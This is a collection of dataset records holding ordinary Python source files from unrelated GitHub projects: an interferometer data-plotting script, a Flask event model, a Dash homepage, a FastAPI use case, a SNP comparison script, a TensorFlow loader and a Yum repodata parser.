wavelength in vacuum (m)\n n_0 = 1 # refractive index in vacuum ()\n chamber_length = 0.03 # m (m)\n delta_n = lambda_0 * m_count /(2*chamber_length)\n\n x = np.linspace(0, 0.7e5, 1000)\n k, k_err = tools.linear_regression_origo(pressure_drop, delta_n)\n # no latex in bokeh :(\n fig.line(x, k*x, line_width=2, legend=\"sovite\")# legend=\"sovite ∂(Δn)/∂(Δp) = (\"+str(round(k*1e9,2))+\")*10⁻⁹ (1/Pa)\")\n fig.line(x, (k + k_err) * x, line_width=1, color=(0, 0, 128), line_dash=\"dashed\")\n fig.line(x, (k - k_err) * x, line_width=1, color=(0, 0, 128),line_dash=\"dashed\", legend=\"keskivirherajat\")# legend=\"keskivirherajat ∂(Δn)/∂(Δp) = (\"+str(round(k*1e9,2))+\"±\"+str(round(k_err*1e9,2))+\")*10⁻⁹ (1/Pa)\")\n\n fig.circle(pressure_drop, delta_n, legend=\"mittauspisteet\", size=10, color=\"black\", fill_color=\"white\", line_width=2)\n\n fig.legend.location = \"top_left\"\n\n air_pressure = data().pressure\n air_pressure_err = 50 # Pa # this is just rough guess, it could be 10 Pa too\n\n # I'm not using maxium error, but rather mean error\n\n # f = n_0 + (∂n/∂p)*p_1\n\n # ∂n/∂p = k\n # p_1 = air_pressure\n\n # Δ(∂n/∂p) = k_err\n # Δ(p_1) = air_pressure_err\n\n # ∂f/∂(n_0) = 0\n # ∂f/∂(∂n/∂p) = air_pressure\n # ∂f/∂(p_1) = k\n\n # Δf = sqrt( (∂f/∂(∂n/∂p) * Δ(∂n/∂p))^2 + (∂f/∂(p_1) * Δ(p_1))^2 )\n\n m_f = np.sqrt((air_pressure * k_err)**2 + (k * air_pressure_err)**2)\n Delta_f = np.abs(air_pressure) * k_err + np.abs(k) * air_pressure_err\n\n print(\"Refractive index of air\")\n print(\" slope i.e. ∂n/∂p:\", k, \", error:\", k_err, \", n_room:\", n_0 + k*air_pressure,\n \", maxium range in deviation:\", np.sqrt((k_err/np.sqrt(7))**2 + k_err**2))\n print(\" cumulative mean error in n_room:\", m_f)\n print(\" cumulative maxium error in n_room:\", Delta_f)\n print(\"\")\n\n return fig\n\n\ndef plot_refractive_index_glass():\n fig = figure(x_axis_label='nimittäjä (m)', y_axis_label=\"osoittaja (m)\")\n # title=\"Lasin taitekertoimen muutos paineen funktiona\")\n\n m_count = data().meas_3_2[:,0]\n\n angle_1 = data().meas_3_1[:,1]\n angle_2 = data().meas_3_2[:, 1]\n angle = ((angle_1 + angle_2)/2)*2*np.pi/360\n\n lambda_0 = 633e-9 # Should we use the value we measured?\n d = data().width_of_glass_plate\n\n numerator = (2*d - m_count*lambda_0) * (1- np.cos(angle))\n denominator = 2*d*(1 - np.cos(angle)) - m_count*lambda_0\n # tools.print_to_latex_tabular(\n # np.hstack((np.matrix(numerator).T, np.matrix(denominator).T)), column_precisions=[3,3])\n\n x = np.linspace(0, 1.30e-04, 1000)\n k, k_err = tools.linear_regression_origo(denominator, numerator)\n print(\"Refractive index of glass\")\n print(\" slope\", k, \", error:\", k_err,\n \", maxium range in deviation:\", np.sqrt((k_err/np.sqrt(6))**2 + k_err**2))\n\n fig.line(x, k*x, line_width=2, legend=\"sovite\") # legend=\"sovite ∂y/∂x = \"+str(round(k,2)))\n fig.line(x, (k + k_err) * x, line_width=1, color=(0, 0, 128), line_dash=\"dashed\")\n fig.line(x, (k - k_err) * x, line_width=1, color=(0, 0, 128), line_dash=\"dashed\", legend=\"keskivirherajat\")\n # legend=\"keskivirherajat ∂y/∂x = (\"+str(round(k,2))+\"±\"+str(round(k_err,2))+\")\")\n\n fig.circle(denominator, numerator, legend=\"mittauspisteet\", size=10, color=\"black\", fill_color=\"white\", line_width=2)\n\n fig.legend.location = \"top_left\"\n\n return fig\n\n\ndef print_latex_tabulars():\n tools.print_to_latex_tabular(data().meas_1, column_precisions=[0,1,1], significant_figures=False)\n tools.print_to_latex_tabular(data().meas_2_2, column_precisions=[2, 1], significant_figures=False)\n\n angle_1 = data().meas_3_1\n angle_2 = data().meas_3_2\n angle_mean = ((angle_1 + angle_2) / 2)\n tools.print_to_latex_tabular(angle_mean, column_precisions=[0, 1], significant_figures=False)\n\n\ndef main():\n fig1 = plot_wave_length()\n fig2 = plot_refractive_index_air()\n fig3 = plot_refractive_index_glass()\n\n output_file(\"plots.html\", title=\"This is the title of most important kind\")\n\n show(column(fig1, fig2, fig3))\n\n # print_latex_tabulars()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"AgenttiX/fys-1010","sub_path":"interferometer/interferometer.py","file_name":"interferometer.py","file_ext":"py","file_size_in_byte":7125,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"132195157","text":"from flask_app.config.mysqlconnection import connectToMySQL\nfrom flask import flash\nfrom flask_app.models import user\n\nclass Event:\n db = \"eome_schema\"\n\n def __init__(self, data):\n self.id = data[\"id\"]\n self.name = data[\"name\"]\n self.date_time = data[\"date_time\"]\n self.address = data[\"address\"]\n self.city = data[\"city\"]\n self.state = data[\"state\"]\n self.coordinator = data[\"coordinator\"]\n self.created_at = data[\"created_at\"]\n self.updated_at = data[\"updated_at\"]\n self.participants = []\n self.participants_ids = []\n\n @classmethod\n def add_event(cls, data):\n query = \"INSERT INTO events (name, date_time, address, city, state, coordinator, created_at, updated_at) VALUES (%(name)s, %(date_time)s, %(address)s, %(city)s, %(state)s, %(coordinator)s, NOW(), NOW());\"\n return connectToMySQL(cls.db).query_db(query, data)\n\n @classmethod\n def get_event_by_id(cls, data):\n query = \"SELECT * FROM events LEFT JOIN users ON events.coordinator = users.id WHERE events.id = %(id)s;\"\n results = connectToMySQL(cls.db).query_db(query, data)\n coordinator_data = {\n \"id\": results[0][\"coordinator\"],\n \"first_name\": results[0][\"first_name\"],\n \"last_name\": results[0][\"last_name\"],\n \"email\": results[0][\"email\"],\n \"password\": results[0][\"password\"],\n \"created_at\": results[0][\"users.created_at\"],\n \"updated_at\": results[0][\"users.updated_at\"]\n }\n this_event = cls(results[0])\n this_event.coordinator = user.User(coordinator_data)\n return this_event\n\n @classmethod\n def get_event_by_id_with_participants(cls, data):\n query = \"SELECT * FROM events LEFT JOIN participants ON events.id = event_id LEFT JOIN users AS participants_users ON user_id = participants_users.id LEFT JOIN users AS coordinators ON events.coordinator = coordinators.id WHERE events.id = %(id)s;\"\n results = connectToMySQL(cls.db).query_db(query, data)\n coordinator_data = {\n \"id\": results[0][\"coordinator\"],\n \"first_name\": results[0][\"coordinators.first_name\"],\n \"last_name\": results[0][\"coordinators.last_name\"],\n \"email\": results[0][\"coordinators.email\"],\n \"password\": results[0][\"coordinators.password\"],\n \"created_at\": results[0][\"coordinators.created_at\"],\n \"updated_at\": results[0][\"coordinators.updated_at\"]\n }\n this_event = cls(results[0])\n this_event.coordinator = user.User(coordinator_data)\n for row in results:\n if row[\"participants_users.id\"] != None:\n participant_data={\n \"id\": row[\"participants_users.id\"],\n \"first_name\": row[\"first_name\"],\n \"last_name\": row[\"last_name\"],\n \"email\": row[\"email\"],\n \"password\": row[\"password\"],\n \"created_at\": row[\"participants_users.created_at\"],\n \"updated_at\": row[\"participants_users.updated_at\"]\n }\n this_event.participants_ids.append(row[\"participants_users.id\"])\n this_event.participants.append(user.User(participant_data))\n return this_event\n\n @classmethod\n def get_all_events(cls):\n query = \"SELECT * FROM events LEFT JOIN users ON events.coordinator = users.id;\"\n results = connectToMySQL(cls.db).query_db(query)\n events_list = []\n for row in results:\n coordinator_data = {\n \"id\": row[\"coordinator\"],\n \"first_name\": row[\"first_name\"],\n \"last_name\": row[\"last_name\"],\n \"email\": row[\"email\"],\n \"password\": row[\"password\"],\n \"created_at\": row[\"users.created_at\"],\n \"updated_at\": row[\"users.updated_at\"]\n }\n this_event = cls(row)\n this_event.date_time = this_event.date_time.strftime(\"%B %d, %Y at %I:%M %p\")\n this_event.coordinator = user.User(coordinator_data)\n events_list.append(this_event)\n return events_list\n\n @classmethod\n def update_event(cls, data):\n query = \"UPDATE events SET name = %(name)s, date_time = %(date_time)s, address = %(address)s, city = %(city)s, state = %(state)s WHERE id = %(id)s;\"\n return connectToMySQL(cls.db).query_db(query, data)\n\n @classmethod\n def destroy_event(cls, data):\n query = \"DELETE FROM events WHERE id = %(id)s;\"\n return connectToMySQL(cls.db).query_db(query, data)\n\n @classmethod\n def add_particaipant(cls, data):\n query = \"INSERT INTO participants (event_id, user_id) VALUES (%(event_id)s, %(user_id)s);\"\n return connectToMySQL(cls.db).query_db(query, data)\n\n @classmethod\n def destroy_particaipant(cls, data):\n query = \"DELETE FROM participants WHERE event_id = %(event_id)s AND user_id = %(user_id)s;\"\n return connectToMySQL(cls.db).query_db(query, data)\n\n @staticmethod\n def validate_event(data):\n is_valid = True\n if len(data[\"name\"])<2:\n flash(\"Event name must be at least 2 characters\", \"event\")\n is_valid = False\n if not data[\"date_time\"]:\n flash(\"Please select a date and time for the event\", \"event\")\n is_valid = False\n if len(data[\"address\"])<6:\n flash(\"Address must be at least 6 characters\", \"event\")\n is_valid = False\n if len(data[\"city\"])<2:\n flash(\"City must be at least 2 characters\", \"event\")\n is_valid = False\n if len(data[\"state\"])<2:\n flash(\"State must be at least 2 characters\", \"event\")\n is_valid = False\n return is_valid","repo_name":"PewPewHurray/EventOrganizer","sub_path":"flask_app/models/event.py","file_name":"event.py","file_ext":"py","file_size_in_byte":5770,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"1203936791","text":"# list comprehension = create a new list with less syntax\n# can mimick certain lambda functions, easier to read\n#\n# list = [exoression for item in iterable]\n\nsquares = []\nfor i in range(1, 11):\n squares.append(i * i)\nprint(squares)\n\nsquarez = [i * i for i in range(1, 11)]\nprint(squarez)\n","repo_name":"rodiiipooo/learningPython","sub_path":"day10/listComprehension.py","file_name":"listComprehension.py","file_ext":"py","file_size_in_byte":314,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"27319745217","text":"#!/usr/bin/env python\n# FILE: computePairwiseSNPs.py\n# AUTHOR: Duong Vu\n# CREATE DATE: 07 May 2021\nimport sys, argparse\nimport os\nfrom Bio import SeqIO\nimport json\n\nparser=argparse.ArgumentParser(prog='computePairwiseSNPs.py', \n\t\t\t\t\t\t\t usage=\"%(prog)s [options] -i jsoninputfilename -f fastafile -o outputfile\",\n\t\t\t\t\t\t\t description='''Script that compares the SNP number differences.''',\n\t\t\t\t\t\t\t epilog=\"\"\"Written by Duong Vu d.vu@wi.knaw.nl\"\"\",\n )\n\nparser.add_argument('-i','--fasta', help='The fasta alignment file.') \nparser.add_argument('-o','--out', help='The output filename.') \nargs=parser.parse_args()\noutputfilename= args.out\nfastafilename=args.fasta\n\nrecord_dict = SeqIO.to_dict(SeqIO.parse(fastafilename, \"fasta\"))\n\noutputfile = open(outputfilename, \"w\")\nfirstline = \"\"\nfor name1 in record_dict.keys():\n\tfirstline = firstline + \"\\t\" + name1\noutputfile.write(firstline + \"\\n\")\t\nfor name1 in record_dict.keys():\n\tseq1 = str(record_dict[name1].seq)\n\tprint(name1 + \"\\t\" + str(len(seq1)) + \"\\t\" + str(len(seq1.replace(\"N\",\"\"))))\n\tline = name1\n\tfor name2 in record_dict.keys():\n\t\tseq2=str(record_dict[name2].seq)\n\t\tif len(seq1) != len(seq2):\n\t\t\tprint(\"Not a good alignment file!\")\n\t\t\tbreak\n\t\tcount = 0\n\t\tfor i in range(0,len(seq1)-1):\n\t\t\tif seq1[i] != seq2[i]:\n\t\t\t\tcount = count + 1\n\t\tline = line + \"\\t\" + str(count)\n\toutputfile.write(line + \"\\n\")\n\noutputfile.close()\n","repo_name":"vuthuyduong/SNPanalysis","sub_path":"scripts/computePairwiseSNPs.py","file_name":"computePairwiseSNPs.py","file_ext":"py","file_size_in_byte":1383,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"37869242041","text":"import glob, os, tarfile, urllib\nimport tensorflow as tf\nfrom utils import label_map_util\nimport time\n\ndef set_model(model_name, label_name):\n\n\t# Path to frozen detection graph. This is the actual model that is used for the object detection.\n\tPATH_TO_SVDMDL = model_name + '/saved_model'\n\n\t# List of the strings that is used to add correct label for each box.\n\tPATH_TO_LABELS = os.path.join('Model', label_name)\n\n\tnum_classes = 1\n\n\t# Enable GPU dynamic memory allocation\n\tgpus = tf.config.experimental.list_physical_devices('GPU')\n\tfor gpu in gpus:\n\t tf.config.experimental.set_memory_growth(gpu, True)\n\n\t#\n\tprint('Loading model...', end='')\n\tstart_time = time.time()\n\n\t# Load saved model and build the detection function\n\tmodel = tf.saved_model.load(PATH_TO_SVDMDL)\n\tdetect_fn = model.signatures['serving_default']\n\n\tend_time = time.time()\n\telapsed_time = end_time - start_time\n\tprint('Done! Took {} seconds'.format(elapsed_time))\n\t#\n\n\t# %%\n\t# Load label map data (for plotting)\n\t# ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\t# Label maps correspond index numbers to category names, so that when our convolution network\n\t# predicts `5`, we know that this corresponds to `airplane`. Here we use internal utility\n\t# functions, but anything that returns a dictionary mapping integers to appropriate string labels\n\t# would be fine.\n\tcategory_index = label_map_util.create_category_index_from_labelmap(PATH_TO_LABELS,\n\t use_display_name=True)\n\n\treturn detect_fn, category_index\n","repo_name":"PratikMahobiya/Ingot_Counting_2.x","sub_path":"utils/backbone.py","file_name":"backbone.py","file_ext":"py","file_size_in_byte":1538,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"44017304387","text":"\nfrom motor.motor_asyncio import AsyncIOMotorDatabase\n\nfrom app.configs.errors import NotFound, InternalError, BadRequest\n\nfrom app.use_cases.users.update.schemas.update_user import UserUpdateParamsRequest, UserUpdateResponse\n\nfrom app.data.repositories.user import UserRepository\n\n\nclass UpdateUserUseCase:\n def __init__(self, db_bevflix: AsyncIOMotorDatabase):\n self.user_repository = UserRepository(db_bevflix)\n\n async def update_user(self, request: UserUpdateParamsRequest) -> UserUpdateResponse:\n user = await self.user_repository.get_user(id=request.id)\n if not user:\n raise NotFound(errors={ 'detail': 'user not found' })\n\n if user.username == request.username:\n return UserUpdateResponse()\n \n username_exists = await self.user_repository.get_user_by_username(request.username)\n if username_exists:\n raise BadRequest(errors= { 'detail': 'username already taken'})\n\n user.username = request.username\n updated = await self.user_repository.update_user(user=user)\n if not updated:\n raise InternalError(errors={ 'detail': 'error updating user' })\n\n return UserUpdateResponse()\n","repo_name":"esilean/flix-python-fastapi","sub_path":"backend/app/use_cases/users/update/update_user.py","file_name":"update_user.py","file_ext":"py","file_size_in_byte":1206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4809685421","text":"import dash_core_components as dcc\nimport dash_html_components as html\nimport dash_bootstrap_components as dbc\nfrom dash.dependencies import Input, Output, State\nimport base64\nfrom app import app,project\n\n# Project name input modal\nfrom dash.exceptions import PreventUpdate\n\n# Header bar\nnavbar = dbc.NavbarSimple(\n brand=\"Interactive ML Platform\",\n brand_style={'font-size':'25px','textAlign':'center'},\n color=\"success\",\n dark=True, style={\n 'width': '100%',\n 'height': '15rem',\n 'text-size':'20px',\n 'verticalAlign': 'middle'\n }\n)\n\nmodal = dbc.Modal(\n [\n dbc.ModalHeader(\"Project Name\"),\n dbc.ModalBody([dbc.Input(id='project_name_input',\n placeholder=\"Enter Project Name\",\n autoComplete=\"off\",\n bs_size=\"lg\",style={'font-size':'20px'},className=\"mb-3\"),\n ]),\n dbc.ModalFooter(\n [dcc.Link(dbc.Button(\"Create Project\",disabled=True,\n id=\"create_project_btnx\", className=\"ml-auto\", n_clicks=0,color='success'), id='link',style={'color':'green'},\n href='')]),\n ],size=\"lg\",\n id=\"project_info_modal\",\n)\nbreakline = html.Br()\n# Component to show page footer\npage_footer = html.Div(children=[breakline, breakline, breakline],\n style={'position': 'fixed','left': 0, 'bottom': 0, 'width': '100%','background-color': 'green'\n})\n\n# component to compile all the elements into single element\nlayout = html.Div(\n [\n dbc.Row(navbar),\n dbc.Col(\n [\n dbc.Row([dbc.Col(),dbc.Col([\n dbc.Row(breakline),\n dbc.Row(dbc.Button(\"Create Project\", className=\"mr-1\",\n id='create_project_btn', outline=True, color='success', size='lg',\n style={'align': 'center', 'width': '100%'}, n_clicks=0)),\n html.Br(),\n dbc.Row(dbc.Button(\"Open Existing Project\", className=\"mr-1\",\n id='open_project_btn', outline=True, color='success', size='lg',\n style={'align': 'center', 'width': '100%'})),\n\n ], width=7),dbc.Col()]),\n dbc.Row(modal)],style={'padding': '10px 55px 20px','align':'center','width':'100%'}),\n dbc.Row(page_footer)\n ])\n\n\n# Open the Modal and takes project name input\n@app.callback(Output('project_info_modal', 'is_open'),\n [Input('create_project_btn', 'n_clicks')])\ndef create_project(n_click):\n if n_click > 0:\n return True\n\n@app.callback([Output('project_name_input', 'invalid'),Output('create_project_btnx','disabled'),Output('link','href')],\n [Input('project_name_input','value')])\ndef project_name(project_name):\n # project name validation. If fails, shows a valid or invalid remark on the component\n if project_name is None:\n raise PreventUpdate\n elif len(project_name) == 0:\n return [],True,''\n else:\n return False,False,'/preprocess'\n\n@app.callback(Output('create_project_btnx','color'),\n [Input('create_project_btnx','n_clicks')],[State('project_name_input','value')])\ndef create_project(click,project_name):\n if click > 0 and project_name is not None:\n project.create(project_name)\n return 'success'\n else:\n raise PreventUpdate","repo_name":"vijay-jindal/Interactive-ML-Platform","sub_path":"IMLP/apps/homepage.py","file_name":"homepage.py","file_ext":"py","file_size_in_byte":3512,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"17673351421","text":"# -*- mode:python; coding:utf-8; -*-\n# author: Eugene Zamriy \n# created: 11.12.2014 10:38\n\n\"\"\"\nCloudLinux Build System Yum repository repodata parsing utilities.\n\"\"\"\n\nimport gzip\nimport hashlib\nimport logging\nimport os\nimport re\nimport shutil\nimport sqlite3\nimport tempfile\nimport functools\nimport urllib.parse\n\nfrom bz2 import BZ2Decompressor\nfrom contextlib import closing\nfrom lzma import LZMADecompressor\n\nimport gi\ngi.require_version('Modulemd', '2.0')\nfrom gi.repository import Modulemd\nimport createrepo_c as cr\n\nfrom build_node.errors import DataNotFoundError\nfrom build_node.utils.file_utils import download_file, hash_file\n\n__all__ = ['LOCAL_REPO', 'REMOTE_REPO']\n\nLOCAL_REPO = 0\nREMOTE_REPO = 1\n\n\ndef _with_repodata_files(fn):\n \"\"\"\n Decorator which executes the _download_repodata method if repodata files\n aren't downloaded yet.\n\n Parameters\n ----------\n fn\n Decorated class method.\n\n Returns\n -------\n function\n Function decorator.\n \"\"\"\n @functools.wraps(fn)\n def wrapper(self, *args, **kwargs):\n if not self._files_cache:\n self._download_files()\n return fn(self, *args, **kwargs)\n return wrapper\n\n\nclass RepodataParser(object):\n\n def __init__(self, repo_url, ssl_cert=None, ssl_key=None, ssl_cainfo=None,\n log=None, errors='strict'):\n \"\"\"\n Parameters\n ----------\n repo_url : str\n Repository base URL.\n ssl_cert : str\n SSL client certificate path (optional).\n ssl_key : str\n SSL client certificate key path (optional).\n ssl_cainfo : str\n CA info path (optional).\n log : logging.Logger\n Current context logger.\n errors : str\n Errors handling policy. Default is 'strict' which\n means that error will be raised if repodata contains some broken\n data. Another possible value is 'ignore' which means that errors\n will be ignored or malformed data will be fixed when its possible.\n \"\"\"\n self.__repo_url = repo_url\n self.__ssl_cert = ssl_cert\n self.__ssl_key = ssl_key\n self.__ssl_cainfo = ssl_cainfo\n self._files_cache = {}\n if not log:\n self.__logger = logging.getLogger(__name__)\n else:\n self.__logger = log\n self.__error_policy = errors\n if urllib.parse.urlparse(repo_url).scheme in ('', 'file'):\n self.__repo_type = LOCAL_REPO\n self.__repomd_url = os.path.join(repo_url, 'repodata/repomd.xml')\n else:\n self.__repo_type = REMOTE_REPO\n self.__repomd_url = urllib.parse.urljoin(repo_url,\n 'repodata/repomd.xml')\n self.__repo_dir, self.__repomd_path = self.__get_repomd_path()\n\n @property\n def repo_type(self):\n return self.__repo_type\n\n @property\n def repomd_checksum(self):\n \"\"\"\n Returns\n -------\n unicode\n repomd.xml file SHA256 checksum\n \"\"\"\n return str(hash_file(self.__repomd_path, hashlib.sha256()))\n\n def parse_repomd(self):\n \"\"\"\n repomd.xml parsing function.\n\n Returns\n -------\n dict\n Dictionary with extracted information.\n \"\"\"\n repomd = cr.Repomd(self.__repomd_path)\n repo_info = {'checksum_type': 'sha256',\n 'checksum': str(hash_file(self.__repomd_path,\n hashlib.sha256()))}\n for rec in repomd.records:\n rec_info = {\n 'checksum': rec.checksum,\n 'checksum_type': rec.checksum_type,\n 'open-checksum': rec.checksum_open,\n 'open-checksum_type': rec.checksum_open_type,\n 'timestamp': rec.timestamp,\n 'location': self.__full_location(rec.location_href),\n 'open-size': int(rec.size_open),\n 'size': int(rec.size)\n }\n if rec.db_ver:\n rec_info['database_version'] = int(rec.db_ver)\n\n repo_info[rec.type] = rec_info\n return repo_info\n\n @_with_repodata_files\n def iter_packages(self, repomd=None):\n \"\"\"Iterates over repository packages.\"\"\"\n\n repomd = cr.Repomd(self.__repomd_path)\n if {'primary_db', 'filelists_db', 'other_db'} <= set(self._files_cache):\n for pkg in self.__iter_packages_sqlite(self._files_cache):\n yield pkg\n else:\n packages = {}\n\n def pkgcb(pkg):\n packages[pkg.pkgId] = pkg\n return True\n\n def newpkgcb(pkgId, name, arch):\n return packages.get(pkgId, None)\n\n def warningcb(warning_type, message):\n self.__logger.warning(message)\n return True\n\n self.__logger.debug('processing {0} repository using xml '\n 'repodata'.format(self.__repo_url))\n for record in repomd.records:\n\n if record.type == 'primary':\n cr.xml_parse_primary(self._files_cache[record.type],\n pkgcb=pkgcb,\n do_files=False,\n warningcb=warningcb)\n elif record.type == 'filelists':\n cr.xml_parse_filelists(self._files_cache[record.type],\n pkgcb=pkgcb,\n newpkgcb=newpkgcb,\n warningcb=warningcb)\n elif record.type == 'other':\n cr.xml_parse_other(self._files_cache[record.type],\n pkgcb=pkgcb,\n newpkgcb=newpkgcb,\n warningcb=warningcb)\n\n for pkg in list(packages.values()):\n yield self.__get_pkg_dict(pkg)\n\n @_with_repodata_files\n def is_modular(self):\n \"\"\"\n Checks if a repository has modules defined.\n\n Returns\n -------\n bool\n True if a repository is modular, False otherwise.\n \"\"\"\n return 'modules' in self._files_cache\n\n def close(self):\n \"\"\"Deletes temporary created files.\"\"\"\n if os.path.exists(self.__repo_dir):\n shutil.rmtree(self.__repo_dir)\n\n def __iter_packages_sqlite(self, sql_files):\n sql = \"\"\"SELECT pkgKey, pkgId AS checksum, name, arch, version, epoch,\n release, summary, description, url, time_file AS filetime,\n time_build AS buildtime, rpm_license AS license,\n rpm_vendor AS vendor, rpm_group AS 'group',\n rpm_buildhost AS buildhost, rpm_sourcerpm AS sourcerpm,\n rpm_header_start AS hdrstart, rpm_header_end AS hdrend,\n rpm_packager as packager, size_package AS packagesize,\n size_installed AS installedsize,\n size_archive AS archivesize, location_href AS location,\n checksum_type AS checksum_type FROM packages\"\"\"\n\n self.__logger.debug('processing {0} repository using SQLite '\n 'repodata'.format(self.__repo_url))\n with closing(sqlite3.connect(sql_files['primary_db'])) as con:\n with closing(con.cursor()) as cur:\n for row in cur.execute(sql):\n pkg = {'provides': [], 'conflicts': [], 'requires': [],\n 'obsoletes': [], 'files': [], 'changelogs': []}\n pkg_key = None\n for i, col_info in enumerate(cur.description):\n key = col_info[0]\n value = row[i]\n if value is None:\n continue\n elif key == 'pkgKey':\n pkg_key = value\n elif key == 'epoch':\n pkg['epoch'] = int(value)\n else:\n pkg[key] = value\n pkg['full_location'] = self.__full_location(\n pkg['location'])\n self.__read_primary_files_sqlite(pkg_key, pkg, con)\n self.__read_filelists_sqlite(pkg_key, pkg,\n sql_files['filelists_db'])\n self.__read_other_sqlite(pkg_key, pkg,\n sql_files['other_db'])\n self.__read_pcro_sqlite(pkg_key, pkg, con)\n yield pkg\n\n @staticmethod\n def __read_primary_files_sqlite(pkg_key, pkg, con):\n sql = 'SELECT name, type FROM files WHERE pkgKey = ?'\n with closing(con.cursor()) as cur:\n for name, type_ in cur.execute(sql, (pkg_key,)):\n pkg['files'].append({'name': name, 'type': type_,\n 'primary': True})\n\n @staticmethod\n def __read_sqlite_db(file_path, pkg_key, pkg, callback):\n \"\"\"\n\n Reads data from SQL query from database into RPM package object.\n\n Parameters\n ----------\n file_path : str or unicode\n Path to the database on filesystem\n pkg_key : int\n Package's unique identifier (pkgKey column).\n pkg : dict\n RPM package to read files list into.\n callback\n Function to fill pkg object with data from database\n\n Raises\n ------\n DataNotFoundError\n If there are no records for this RPM package.\n ValueError\n If database record checksum doesn't match RPM package checksum.\n\n \"\"\"\n con = sqlite3.connect(file_path)\n with closing(con.cursor()) as cur:\n cur.execute('SELECT pkgId FROM packages WHERE pkgKey = ?',\n (pkg_key,))\n row = cur.fetchone()\n if not row:\n raise DataNotFoundError(\n f'pkgKey {pkg_key} is not found in the filelists database')\n if row[0] != pkg['checksum']:\n raise ValueError('pkgKey {0} filelists record\\'s checksum '\n '{1!r} is different from expected {2!r}'.\n format(pkg_key, row[0], pkg['checksum']))\n with closing(con.cursor()) as cur:\n callback(cur, pkg)\n con.close()\n\n @staticmethod\n def __read_filelists_sqlite(pkg_key, pkg, file_path):\n \"\"\"\n Reads files list from filelists.sqlite database into\n RPM package object.\n\n Parameters\n ----------\n pkg_key : int\n Package's unique identifier (pkgKey column).\n pkg : dict\n RPM package to read files list into.\n\n Raises\n ------\n ValueError\n If database record checksum doesn't match RPM package checksum.\n \"\"\"\n\n def process_filelists(cursor, pkg_):\n file_types = {'d': 'dir', 'f': 'file', 'g': 'ghost'}\n pkg_files = [f['name'] for f in pkg_['files']]\n cursor.execute(\n 'SELECT dirname, filenames, filetypes FROM filelist '\n 'WHERE pkgKey = ?', (pkg_key,))\n for row in cursor:\n dir_name = row[0]\n for file_name, file_type in zip(row[1].split('/'), row[2]):\n file_ = os.path.join(dir_name, file_name)\n if file_ not in pkg_files:\n file_rec = {'name': file_}\n if file_type in file_types:\n file_rec['type'] = file_types[file_type]\n else:\n raise ValueError('unknown file type {0!r}'.\n format(file_type))\n pkg_['files'].append(file_rec)\n\n RepodataParser.__read_sqlite_db(file_path, pkg_key, pkg,\n process_filelists)\n\n @staticmethod\n def __read_other_sqlite(pkg_key, pkg, file_path):\n \"\"\"\n Reads changelogs from other.sqlite database into RPM package object.\n\n Parameters\n ----------\n pkg_key : int\n Package's unique identifier (pkgKey column).\n pkg : dict\n RPM package to read changelogs into.\n \"\"\"\n\n def process_data(cursor, pkg_):\n cursor.execute('SELECT author, date, changelog FROM changelog '\n 'WHERE pkgKey = ? ORDER BY date DESC', (pkg_key,))\n for row in cursor:\n changelog = {'text': row[2]}\n if row[0]:\n changelog['author'] = row[0]\n if row[1]:\n changelog['date'] = row[1]\n pkg_['changelogs'].append(changelog)\n\n RepodataParser.__read_sqlite_db(file_path, pkg_key, pkg, process_data)\n\n @staticmethod\n def __read_pcro_sqlite(pkg_key, pkg, con):\n \"\"\"\n Reads PCRO (provides, conflicts, requires, obsoletes) information from\n primary.sqlite database into RPM package object.\n\n Parameters\n ----------\n pkg_key : int\n Package's unique identifier (pkgKey column).\n pkg : dict\n RPM package to read PCRO information into.\n \"\"\"\n columns = ['name', 'flags', 'epoch', 'version', 'release']\n for field in ('provides', 'conflicts', 'requires', 'obsoletes'):\n sql = 'SELECT {0} FROM {1} WHERE pkgKey = ?'.\\\n format(', '.join(\n columns + ['pre'] if field == 'requires' else columns),\n field)\n with closing(con.cursor()) as cur:\n for row in cur.execute(sql, (pkg_key,)):\n feature = {'name': row[0]}\n if row[1]:\n feature['flag'] = row[1]\n if row[2] is not None:\n feature['epoch'] = int(row[2])\n if row[3] is not None:\n feature['version'] = row[3]\n if row[4] is not None:\n feature['release'] = row[4]\n if field == 'requires' and row[5] in ('TRUE', 1, True):\n feature['pre'] = True\n pkg[field].append(feature)\n\n def __full_location(self, location):\n if self.__repo_type == LOCAL_REPO:\n return os.path.join(self.__repo_url, location)\n return urllib.parse.urljoin(self.__repo_url, location)\n\n @staticmethod\n def __get_field_info(fields):\n list_info = []\n for field in fields:\n info = {'name': field[0],\n 'flag': field[1],\n 'epoch': field[2],\n 'version': field[3],\n 'release': field[4],\n 'pre': field[5]}\n info = dict((k, v)\n for k, v in iter(list(info.items()))\n if v)\n list_info.append(info)\n return list_info\n\n @staticmethod\n def __get_files(pkg, pkg_primary=None):\n file_list = []\n for f in pkg.files:\n file_info = {'type': 'dir' if f[0] == 'dir' else 'file',\n 'name': os.path.join(f[1], f[2])}\n if pkg_primary:\n file_info['primary'] = True\n file_list.append(file_info)\n return file_list\n\n def __get_pkg_dict(self, pkg):\n \"\"\"Convert the package to the required dict\"\"\"\n pkg_info = {\n 'filetime': pkg.time_file,\n 'archivesize': int(pkg.size_archive),\n 'buildhost': pkg.rpm_buildhost,\n 'installedsize': int(pkg.size_installed),\n 'hdrend': pkg.rpm_header_end,\n 'group': pkg.rpm_group,\n 'epoch': int(pkg.epoch),\n 'version': pkg.version,\n 'obsoletes': self.__get_field_info(pkg.obsoletes),\n 'provides': self.__get_field_info(pkg.provides),\n 'full_location': self.__full_location(pkg.location_href),\n 'location': pkg.location_href,\n 'files': self.__get_files(pkg),\n 'vendor': pkg.rpm_vendor or '',\n 'description': pkg.description,\n 'hdrstart': pkg.rpm_header_start,\n 'buildtime': pkg.time_build,\n 'conflicts': self.__get_field_info(pkg.conflicts),\n 'arch': pkg.arch,\n 'name': 